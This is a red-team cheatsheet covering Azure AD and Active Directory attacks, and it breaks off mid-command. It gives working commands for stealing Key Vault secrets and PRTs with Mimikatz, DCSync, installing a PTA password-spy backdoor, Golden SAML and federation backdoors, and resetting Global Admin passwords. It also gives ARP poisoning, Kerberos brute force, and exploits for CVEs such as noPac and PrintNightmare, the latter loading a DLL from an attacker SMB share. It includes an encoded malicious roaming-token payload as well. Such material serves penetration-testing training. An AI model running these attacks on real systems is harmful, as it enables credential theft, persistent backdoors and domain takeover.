"description": null, "etag": null, "id": "/subscriptions//resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation", "lastModifiedBy": null, "lastModifiedTime": "2021-04-04T03:50:44.573333+00:00", "location": "france", "name": "HybridAutomation", "resourceGroup": "Engineering", "sku": null, "state": null, "tags": {}, "type": "Microsoft.Automation/AutomationAccounts" } ] ``` #### Run As account * Used to provide authentication for managing Azure resources. * Created by default when an automation account is created. Possible to create it later too. * When a Run As account is created, it creates an Azure AD application with self-signed certificate, creates a service principal and assigns the Contributor role for the account in the current subscription. * **Contributor on the entire subscription!** * The Run As account can only be used from inside a Runbook, so **Contributor on a Runbook = profit!** #### Runbook * Runbook contains the automation logic and code that you want to execute. * You can use the Shared Resources (credentials, certificates, connections etc) and the privileges of the Run As account from a Runbook. * Always checkout Runbooks! They often have credentials that are not stored in the shared resources. With sufficent RBAC role (**Contributor** for example) on a **Automation Account** it is possible to create Runbooks ```powershell Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ #Result RoleAssignmentId : /subscriptions//resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation/providers/Microsoft.Authorization/roleAssignments/c981e312-78da-4698-9702-e7424fae94f8 Scope : /subscriptions//resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation DisplayName : Automation Admins SignInName : RoleDefinitionName : Contributor ``` Import and publish and run a runbook in a Hybrid Worker group (on a machine on-prem): ```powershell Import-AzAutomationRunbook -Name -Path C:\path\to\ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose Start-AzAutomationRunbook -RunbookName -RunOn -AutomationAccountName -ResourceGroupName -Verbose ``` #### Hybrid Worker * This is used when a Runbook is to be run on a non-azure machine. * A user-defined hybrid runbook worker is a member of hybrid runbook worker group. * The Log Analytics Agent is deployed on the VM to register it as a hybrid worker. * The hybrid worker jobs run as SYSTEM on Windows and nxautomation account on Linux. Check for hybrid worker group: ```powershell Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName ``` ### VM command execution ```powershell Invoke-AzVMRunCommand -VMName -ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath '.\adduser.ps1' -Verbose ``` ### Key Vault * Azure service for storing secrets like passwords, connection strings, certificates, private keys etc. * With right permissions and access, Azure resources that support managed identities (VMs, App Service, Functions, Container etc.) can securely retrieve secrets from the key vault. | Built-in Role | Description | Can access secrets ? | | :--------------------------------------: | :------------------------------------------------------------------: | :------------------: | | Key Vault Contributor | Can manage key vaults | No | | Key Vault Administrator | Perform all data plane operations. Cannot manage role assignment. | Yes | | Key Vault Certificates Officer | Perform any action on certificates. Cannot manage permissions. | Yes (Certificates) | | Key Vault Crypto Officer | Perform any action on keys. Cannot manage permissions. | Yes (Keys) | | Key Vault Secrets Officer | Perform any action on secrets. Cannot manage permissions. | Yes (Secrets) | | Key Vault Secrets User | Read secret contents. | Yes (Secrets) | | Key Vault Crypto Service Encryption User | Read metadata and perform wrap/unwrap operations on keys | No | | Key Vault Crypto User | Perform cryptographic operations using keys | No | | Key Vault Reader | Read metadata of key vaults and its certificates, keys, and secrets. | No | To extract secrets from a Key Vault: ```powershell Get-AzKeyVaultSecret -VaultName Get-AzKeyVaultSecret -VaultName -Name -AsPlainText ``` ### Enterprise Applications #### Client Secrets * An application object supports multiple client secrets (application passwords). * A user that is owner or have application administrator role over an application can add an application password. * An application password can be used to login to a tenant as a service principal. MFA is usually not applied on a service principal If we can compromise a user that has enough permissions to create a client secret/application password for an application object, we can: * Login as the service principal for that application * Bypass MFA * Access all the resources where roles are assigned to the service principal * Add credentials to an enterprise applications for persistence after compromising a tenant ```powershell Add-AzADAppSecret -GraphToken $graphtoken -Verbose ``` ### ARM Templates ARM templates are JSON files containing deployment configuration for Azure resources. Any user with permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can read the deployment history. It can contain sensitive informations like passwords, usernames, descriptions, etc. ### Function Application These apps are used for continious deployement from a source code provider (Azure Repos, GitHub, etc). If an account to the provider is compromised, the automatic deployement can be abused by modifying the source code. #### Check access to resource group ```powershell Get-AzResourceGroup ``` #### Check if managed identity can read any deployment from the resource group: ```powershell Get-AzResourceGroupDeployment -ResourceGroupName ``` #### Save the deployment template ```powershell Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -DeploymentName ``` ## Lateral Movement ### PRT & Azure AD joined machines PRT = Primary Refresh Token, can be used to request new access tokens for applications When two machines authenticate between them: * The machine (client) initiating the connection needs a certificate from Azure AD for a user. * Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and sends it to Azure AD. * Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and responds with the certificate. It is possible to extract user's PRT from a compromised machine #### Pass-the-certificate Check if a machine is Azure AD joined: ```powershell dsregcmd /status ``` Extract PRT, Session key and Tenant ID with Mimikatz. Then extract context key and derived key: ```powershell Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap" "exit"' Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect" "exit"' ``` Request a certificate with **`PrtToCert`**: ```powershell python3 RequestCert.py --tenantId --prt QVFBQFBX[SNIP] --userName admin@.onmicrosoft.com --hexCtx e096b37dc0dcde438[SNIP] --hexDerivedKey b8a39c7b3b7e59b[SNIP] ``` Use the certificate with **`AzureADJoinedMachinePTC`**: ```powershell python3 Main.py --usercert "admin.pfx" --certpass --remoteip 192.168.1.2 ``` #### Pass-the-PRT First, extract the PRT in the user session context with a Nonce and **ROADToken.exe**: ```powershell $TenantId = "" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $Params = @{ "URI" = $URL "Method" = "POST" } $Body = @{ "grant_type" = "srv_challenge" } $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce ROADToken.exe $Result.Nonce > PRT.txt ``` With **AADInternals** it is possible to request an access token directly from the PRT: ```powershell New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey -GetNonce ``` * Open a Browser in Incognito mode * Go to https://login.microsoftonline.com/login.srf * Press F12 (Chrome dev tools) -> Application -> Cookies * Clear all cookies and then add one named `x-ms-RefreshTokenCredential` for https://login.microsoftonline.com and set its value to that retrieved from AADInternals * Mark HTTPOnly and Secure for the cookie * Visit https://login.microsoftonline.com/login.srf again and we will get access as the user ### Intune - Cloud to On-Premise Intune is a Mobile Device Management (MDM) and Mobile Application Management (MAM) service. Using the Endpoint Manager at `https://endpoint.microsoft.com/`, a user with **Global Administrator** or **Intune Administrator** role can execute PowerShell scripts on an enrolled Windows device. The script runs with privileges of SYSTEM on the device. We do not get to see the script output and the script doesn't run again if there is no change. ### Dynamic Groups In Azure AD it is possible te create rules to automatically add users to `dynamic groups` if specific attributes match the rules. By default, any user can invite guests in Azure AD. * If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature. * There are two ways the rules can be abused * Before joining a tenant as guest. If we can enumerate that a property, say mail, is used in a rule, we can invite a guest with the email ID that matches the rule. * After joining a tenant as guest. A guest user can 'manage their own profile', that is, they can modify manager and alternate email. We can abuse a rule that matches on Manager (`Direct Reports for "{objectID_of_manager}"`) or alternative email (`user.otherMails -any (_ -contains "string")`) ### Application Proxy - Cloud to On-Premise Application Proxy allows access to on-prem web applications after sign-in to Azure AD. These applications can have vulnerabilities that can be exploited. Enumerate applications with applications proxy configured: ```powershell Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} ``` Get the Service Principal (Enterprise Application): ```powershell Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Management System"} ``` Find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it: ```powershell Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` ## Hybrid Identity * Organizations have resources, devices and applications both on-premises and in the cloud. * Many enterprises use their on-prem AD identities to access Azure applications to avoid managing separate identities on both. * An on-premises AD can be integrated with Azure AD using Azure AD. Connect with the following methods. Every method supports Single Sign-on (SSO): * Password Hash Sync (PHS) * Pass-Through Authentication (PTA) * Federation * For each method, at least the user synchronization is done and an account `MSOL_` is created on the on-prem AD. ### PHS It synchronizes users and a hash of their password hashes (not clear-text or original hashes) from on-prem AD to Azure AD. Built-in security groups are not synced. By default, password expiry and account expiry are not reflected in Azure AD. That means a user whose on-prem password is expired (not changed) can continue to access Azure resources using the old password. * The on-prem created account `MSOL_` has DCSync rights on the AD * An account named `Sync__installationidentifier` is created in Azure AD. It can reset ANY user password **in Azure AD**. Passwords for both the accounts are stored in SQL server on the server where Azure AD Connect is installed. It is possible to extract them in clear-text with admin privileges on the server. #### Lateral Movement - On-Prem Dominance To find the server where Azure AD Connect is installed in the AD, with the AD Module, or from Azure AD: ```powershell #AD Module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl #From Azure AD Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` When the server is compromised, extract the creds with **AADInternals**, and DCSync: ```powershell #Check if AD Connect is well installed Get-ADSyncConnector Get-AADIntSyncCredentials ``` ```powershell runas /netonly /user:domain.corp\MSOL_782bef6aa0a9 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.corp /dc:dc.domain.corp"' ``` #### Lateral Movement - On-Prem to Cloud With the _Sync_ account's creds, it is possible to reset the password of everyone, even the Global Administrators. With the creds, request an access token for AADGraph: ```powershell $passwd = ConvertTo-SecureString '' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("Sync__installationidentifier@.onmicrosoft.com", $passwd) Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache ``` Enumerates the Global Admins: ```powershell Get-AADIntGlobalAdmins ``` To reset the password of **an on-prem user** that is synced to Azure AD, the **ImmutableId** (Unique Identifier derived from on-prem GUID) of the user is needed: ```powershell Get-AADIntUser -UserPrincipalName admin@.onmicrosoft.com | select ImmutableId ``` And then reset: ```powershell Set-AADIntUserPassword -SourceAnchor "" -Password "" -Verbose ``` To reset the password of **cloud only user**, the **CloudAnchor** that can be calculated from their cloud objectID is needed (The CloudAnchor is of the format `USER_ObjectID`): ```powershell Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID ``` Then, reset the user's password: ```powershell Set-AADIntUserPassword -CloudAnchor "User_" -Password "" -Verbose ``` ### PTA * No password hash synchronization * The authentication is validated on-prem. The communication with cloud is done by an authentication agent and not the on-prem DC * By compromising the authentication agent, it is possible to verify authentications for ANY synced user even if the password is wrong, only the `userPrincipalName` is needed * By compromising a Global Administrator, it is possible to install an authentication agent in the infrastructure that will authorize all login attempts #### Lateral Movement - On-Prem to Cloud On the server running Azure AD Connect with PTA, as admin, install the backdoor: ```powershell Install-AADIntPTASpy ``` Now it is possible to authenticate on Azure AD as any user without knowing the good password. Additionally, it is possible to spy the passwords of the users who authenticate by running this on the server where the backdoor is installed: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` After getting GA privs in Azure AD, it is possible to register a new PTA agent on a controlled machine by running the same steps. ### Seamless SSO * Azure AD Seamless SSO automatically signs users in when they are on on-prem domain-joined machine. There is no need to use passwords to log in to Azure AD and on-prem applications. * Supported by both PHS and PTA. * When Seamless SSO is enabled, a computer account **AZUREADASSOC** is created in the on-prem AD. This account's Kerberos decryption key is shared with Azure AD. * Azure AD exposes an endpoint (https://autologon.microsoftazuread-sso.com) that accepts Kerberos tickets. Domain-joined machine's browser forwards the tickets to this endpoint for SSO. By compromising the NTLM hash of the computer account **AZUREADASSOC**, it's possible to create ST that can be used from any machine connected to the internet: ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureAcc$ /domain:domain.corp /dc:dc.domain.corp"' Invoke-Mimikatz -Command '"kerberos::golden /user:admin /sid: /id:1108 /domain:domain.corp /rc4:<> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"' ``` ### Federation - ADFS * In case of federation, a trust is established between unrelated parties like on-prem Active Directory and Azure AD. * In Federation, all authentication occurs in the on-prem environment and the user experiences SSO across all the trusted environments. * Users can access cloud applications by using their on-prem credentials. * A user is identified by **ImmutableID**. It is globally unique and stored in Azure AD. * In ADFS, SAML Response is signed by a token-signing certificate. * If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD! * The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine => **Golden SAML attack** #### Lateral Movement - On-Prem to Cloud Get the ImmutableID of a user: ```powershell #From any on-prem machine [System.Convert]::ToBase64String((Get-ADUser -Identity onpremuser | select -ExpandProperty ObjectGUID).tobytearray()) #From the ADFS server Get-AdfsProperties |select identifier #From Azure AD Get-MsolDomainFederationSettings -DomainName .com | select IssuerUri ``` With DA privileges on-prem, extract the ADFS **token signing certificate** from the ADFS server using **AADInternals**: ```powershell Export-AADIntADFSSigningCertificate ``` With **AADInternals**, access cloud app as the user: ```powershell Open-AADIntOffice365Portal -ImmutableID -Issuer http://.com/adfs/services/trust -PfxFileName ./ADFSSigningCertificate.pfx -Verbose ``` With DA privs on-prem, it is possible to create **ImmutableID** of cloud only users. Create a realistic ImmutableID: ```powershell [System.Convert]::ToBase64String((New-Guid).tobytearray()) ``` Then, same steps to access. Without DA privs but with the `adfs_svc` account (service account normally presents on any ADFS server) it is also possible to extract the **token signing certificate** and the DKM key (needed to decipher the blob) with **ADFSDump**: ```powershell ./ADFSDump.exe ``` If the DKM key can't be extracted automatically, it is possible to retrieve it manually in LDAP: ```bash ldapsearch -x -h 192.168.20.10 -D 'domain\adfs_svc' -W -b "DC=DOMAIN,DC=LOCAL" |grep 'CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local' |grep 'thumbnailPhoto' ``` Then, **ADFSpoof** can be used to forge a `SAMLResponse`: ```bash python3 ADFSpoof.py -b blob.bin key.bin -s adfs.domain.local saml2 --endpoint "https://servicedesk.domain.local/SamlResponseServlet" --nameidformat "urn:oasis:names:tc:SAML:2.0:nameid-format:transient" --nameid "domain\Administrator" --rpidentifier "ME_29472ca9-86f2-4376-bc09-c51aa974bfef" --assertions 'domain\Administrator' ``` Once the token is generated, we can authenticate on the SAML as `adfs_svc`, with Burp we intercept the requests and the one to `/SamlResponseServlet` containing the `SAMLResponse` is modified to pass the forged token. ## Persistence ### Hybrid Identity If the Azure AD Connect server is joined to the on-prem AD, techniques like Golden and Silver Tickets, ACL backdoors, etc on the on-prem that provide admin access to the server provide GA access to Azure AD: * PHS: extract creds * PTA: install agent * Federation: Golden SAML #### PTA & PHS If _self service password reset_ is enabled in Azure AD and the reset is propaged from Azure AD to on-prem AD: * If the on-prem AD is already compromised : provide high perms with the **AdminSDHolder** (DCSync for example) to a controlled and synced user * Reset the user's password in Azure AD -> provide DA privs on the on-prem, can be used to obtain GA on Azure AD #### Federation - Trusted Domain With GA on a tenant, it is possible to add a new domain, configure its authentication to Federated and to trust a specific certificate. With **AADInternals**: ```powershell ConvertTo-AADIntBackdoor -DomainName attacker.io ``` Get ImmutableID of the user that we want to impersonate. Using **Msol** module: ```powershell Get-MsolUser | select userPrincipalName,ImmutableID ``` Access any cloud app as the user: ```powershell Open-AADIntOffice365Portal -ImmutableID -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true ``` #### Federation - Token Signing Certificate With DA on on-prem it is possible to create new Token signing and Token Decrypt with very long validity. With **AADInternals**, create new certs (default pass : `AADInternals`), add them to ADFS, disable auto rollover and restart service: ```powershell New-AADIntADFSSelfSignedCertificates ``` Update info with Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain domain.io ``` ### Storage Account Access Keys * Provide root access to a storage account * There are two keys, not automatically rotated * Provide access persistence to the storage account ### Applications and SP * With App Admin priv, GA or custom role with `microsoft.directory/applications/credentials/update` permissions, it is possible to add creds to an existing app * Useful if the app has high privs * Bypass MFA * Also possible to create new app with high privs: with GA, it is possible to create an app with **Privileged authentication administrator role** -> permits to reset GA passwords Sign as SP with the app ID as username and its secret as password, with **Az PowerShell**: ```powershell $passwd = ConvertTo-SecureString "" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("", $passwd) Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant ``` With certificate: ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Azure VMs and NSGs * Azure VMs also support managed identity so persistence on any such VM will allow us access to additional Azure resources. * Create snapshot of disk attached to a running VM. This can be used to extract secrets stored on disk (like SAM hive for Windows). * It is also possible to attach a modified/tampered disk to a turned-off VM. For example, add a local administrator ### Custom Azure AD Roles With GA on a tenant, it is possible to create custom role and assign it to a user. It is possible to take individual privs from here: [Built-in roles](https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) ### Deployment Modification It is possible to create persistence from a code deployment solution like GitHub, similarly as the Privilege Escalation part. Often, a GitHub account would not have same level of security and monitoring compared to an Azure AD account with similar privileges. ## References * [Pentester Academy](https://www.pentesteracademy.com/) * [Dirk-jan Mollema](https://dirkjanm.io/) * [xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/) * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md) * [CARTP Cheatsheet](https://github.com/0xJs/CARTP-cheatsheet) * Many others # Active Directory - Python edition This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_). I will try to put as many links as possible at the end of the page to direct to more complete resources. ## Misc ### Internal audit mindmap [Insane mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) by [@M4yFly](https://twitter.com/M4yFly). ### Find the domain and the DCs Generally the domain name can be found in `/etc/resolv.conf` Then the DNS is generally installed on the DC : `nslookup domain.local` ### Usernames wordlist Create a wordlist of usernames from list of `Surname Name` [Code here](https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py) ```bash python3 namemash.py users.txt > usernames.txt ``` ## Initial Access What to do when you are plugged on the network without creds. * NTLM authentication capture on the wire with [Responder](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-responder) poisoning, maybe in NTLMv1 ? * [Relay the NTLM authentications](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-ntlm-and-kerberos-re) to interesting endpoints, be careful to the signing * SMB socks to list/read/write the shares * LDAP to dump the directory * LDAPS (or maybe SMB if signing not required) to add a computer account * ... * ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found [here](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/arp-poisoning#scenarios-examples). * By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**. First, run bettercap with this config file: ```bash # quick recon of the network net.probe on # set the ARP poisoning set arp.spoof.targets set arp.spoof.internal true set arp.spoof.fullduplex true # control logging and verbosity events.ignore endpoint events.ignore net.sniff.mdns # start the modules arp.spoof on net.sniff on ``` ```bash sudo ./bettercap --iface --caplet spoof.cap ``` Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets: ```bash python3 ./Pcredz -f extract.pcap ``` * [Poison the DHCPv6](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-mitm6) answer to receive NTLM or Kerberos authentication * NTLM auths can be relayed with `ntlmrelayx` * Kerberos auths can be relayed with `krbrelayx` to HTTP endpoints (ADCS, SCCM AdminService API) * Search for a domain account * Look for SMB and LDAP null bind * With SMB login bruteforce * With Kerbrute bruteforce Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over `smb_login` is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts! ```bash ./kerbrute userenum -domain domain.local users.txt ``` Test for the Top1000 with `login = password` Possible other passwords: ``` (empty) password P@ssw0rd ``` * Look for juicy [CVEs](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-cves) * Search for devices like printers, routers, or similar stuff with default creds In case a printer (or something similar) has an LDAP account, but use the `SASL` authentication family instead of `SIMPLE`, the classic LDAP passback exploitation with a `nc` server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak `PLAIN` and `LOGIN` protocols. [This Docker](https://github.com/pedrojosenavasperez/ldap-passback-docker) permits to operate with weak protocols. ```bash docker buildx build -t ldap-passback . docker run --rm -ti -p 389:389 ldap-passback ``` In parallel, listen with tshark: ```bash tshark -i any -f "port 389" \ -Y "ldap.protocolOp == 0 && ldap.simple" \ -e ldap.name -e ldap.simple -Tjson ``` ## CVEs ### AD oriented * SPNEGO RCE (CVE-2022-37958) - No public POC for the moment * [PetitPotam pre-auth](https://github.com/topotam/PetitPotam) (CVE-2022-26925) If the target is not patched, this CVE can be exploited without creds. ```bash ./petitpotam.py -pipe all ``` * [NoPac](https://github.com/Ridter/noPac) (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287) To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one. ```bash #Get ST python3 noPac.py domain.local/user1:'password' -dc-ip #Auto dump the hash python3 noPac.py domain.local/user1:'password' -dc-ip --impersonate administrator -dump -just-dc-user domain/krbtgt ``` * [PrintNightmare](https://github.com/ly4k/PrintNightmare) (CVE-2021-1675 / CVE-2021-34527) ```bash #Load a DLL hosted on a SMB server on the attacker machine ./printnightmare.py -dll '\\\smb\add_user.dll' 'user1:password@' #Load a DLL hosted on the target, and specify a custom driver name ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@' ``` * [Zerologon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon#password-change-disruptive) (CVE-2020-1472) The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link. * EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708) The exploits in the Metasploit framework are good for these two CVEs. ```bash #EternalBlue msf6 exploit(windows/smb/ms17_010_psexec) > #Blue Keep msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > ``` * SMBGhost (CVE-2020-0796) **Be careful, this exploit is pretty unstable and the risk of BSOD is really important.** The exploit in the Metasploit framework is good for this CVE. ```bash msf6 exploit(windows/smb/cve_2020_0796_smbghost) > ``` * [RC4-MD4 downgrade](https://github.com/Bdenneu/CVE-2022-33679) (CVE-2022-33679) To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target. ```bash ./CVE-2022-33079.py -dc-ip domain.local/ ``` * [Credentials Roaming](https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming?s=33) (CVE-2022-30170) ```powershell # Fetch current user object $user = get-aduser -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp') # Install malicious Roaming Token (spawns calc.exe) $malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865" $attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)" Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose # Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed $new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]] Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose ``` * [Bronze Bit](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-overview) (CVE-2020-17049) To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. ```bash getST.py -force-forwardable -spn -impersonate Administrator -dc-ip -hashes : domain.local/ ``` * [MS14-068](https://tools.thehacker.recipes/impacket/examples/goldenpac.py) ```bash goldenPac.py 'domain.local'/'user1':'password'@ ``` ### Targeting Exchange server * ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065) The exploits in the Metasploit framework are good for these three CVEs. ```bash msf6 exploit(windows/http/exchange_proxynotshell_rce) > msf6 exploit(windows/http/exchange_proxyshell_rce) > msf6 exploit(windows/http/exchange_proxylogon_rce) > ``` * [CVE-2023-23397](https://github.com/Trackflaw/CVE-2023-23397) This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a `.msg` file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target. ```bash python3 CVE-2023-23397.py --path '\\\' ``` Before sending the email, run Responder to intercept the NTLM hash. ### For local privesc Look at the [Active Directory cheatsheet](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory) for this part. ## Domain Enumeration ### Domain policy #### Current domain ```bash #Domain policy with ldeep ldeep ldap -u user1 -p password -d domain.local -s domain_policy #Password policy with NXC nxc smb -u user1 -p password --pass-pol ``` #### Another domain ```bash ldeep ldap -u user1 -p password -d domain.local -s domain_policy ``` ### Domain controller The DNS is generally on the DC. ```bash nslookup domain.local nxc smb -u user1 -p password ``` ### Users enumeration #### List users ```bash ldeep ldap -u user1 -p password -d domain.local -s users ``` #### User's properties ```bash ldeep ldap -u user1 -p password -d domain.local -s users -v nxc ldap -u user1 -p password -M get-unixUserPassword -M getUserPassword ``` #### Search for a particular string in attributes ```bash ldeep ldap -u user1 -p password -d domain.local -s users -v |grep -i password ``` #### Actively logged users on a machine Needs local admin rights on the target ```bash nxc smb -u user1 -p password --sessions ``` ### User hunting #### Find machine where the user has admin privs If a **Pwned** connection appears, admin rights are present. However, if the UAC is present it can block the detection. ```bash nxc smb -u user1 -p password ``` #### Find local admins on a domain machine [lookupadmins.py](https://gist.github.com/ropnop/7a41da7aabb8455d0898db362335e139) ```bash python3 lookupadmins.py domain.local/user1:password@ #NXC nxc smb -u user1 -p password --local-groups Administrators ``` ### Computers enumeration ```bash ldeep ldap -u user1 -p password -d domain.local -s machines #Full info ldeep ldap -u user1 -p password -d domain.local -s machines -v #Hostname enumeration ldeep ldap -u user1 -p password -d domain.local -s computers ldeep ldap -u user1 -p password -d domain.local -s computers --resolve ``` ### Groups enumeration #### Groups in the current domain ```bash ldeep ldap -u user1 -p password -d domain.local -s groups #Full info ldeep ldap -u user1 -p password -d domain.local -s groups -v ``` #### Search for a particular string in attributes ```bash ldeep ldap -u user1 -p password -d domain.local -s groups -v |grep -i admin ``` #### All users in a specific group ```bash ldeep ldap -u user1 -p password -d domain.local -s membersof -v ``` #### All groups of an user ```bash ldeep ldap -u user1 -p password -d domain.local -s memberships ``` #### Local groups enumeration ```bash nxc smb -u user1 -p password --local-groups ``` #### Members of a local group ```bash nxc smb -u user1 -p password --local-groups ``` ### Shares / Files #### Find shares on the domain ```bash nxc smb -u user1 -p password --shares ``` A module for searching network shares:`spider_plus`. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search: ```bash nxc smb -u user1 -p password -M spider_plus ``` Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the `-o READ_ONLY=False` option after the `-M spider_plus` (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it. ```bash nxc smb -u user1 -p password -M spider_plus -o READ_ONLY=False ``` #### Find files with a specific pattern ```bash nxc smb -u user1 -p password --spider --content --pattern pass ``` #### Find files with sensitive data Python version of Snaffler ```bash pysnaffler 'smb2+ntlm-password://domain\user1:password@' ``` ### GPO enumeration #### List of GPO in the domain ```bash ldeep ldap -u user1 -p password -d domain.local -s gpo ``` ### Organisation Units #### OUs of the domain and their linked GPOs ```bash ldeep ldap -u user1 -p password -d domain.local -s ou ``` #### Computers within an OU ```bash ldeep ldap -u user1 -p password -d domain.local -s machines -v |grep -i "OU=" |grep -i "distinguishedName" ``` ### DACLs #### All ACLs associated to an object (inbound) ```bash #With samAccountName dacledit.py -action read -target -dc-ip domain.local/user1:password #With DN dacledit.py -action read -target-dn -dc-ip domain.local/user1:password #With SID dacledit.py -action read -target-sid -dc-ip domain.local/user1:password ``` #### Outbound ACLs of an object These are the rights a principal has against another object ```bash dacledit.py -action read -target -principal <-dc-ip domain.local/user1:password ``` ### Trusts #### Trusts for the current domain ```bash ldeep ldap -u user1 -p password -d domain.local -s trusts ``` ## BloodHound The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs) ### DNS resolution Sometimes the DNS resolution to find the DC doesn't work very well. **dnschef** can solve this problem: ```bash dnschef --fakeip --fakedomains domain.local -q ``` Then, in the BloodHound command specify the DNS address with `-ns 127.0.0.1`, **dnschef** will do the work. ### Basic usage ```bash # Default collection bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip 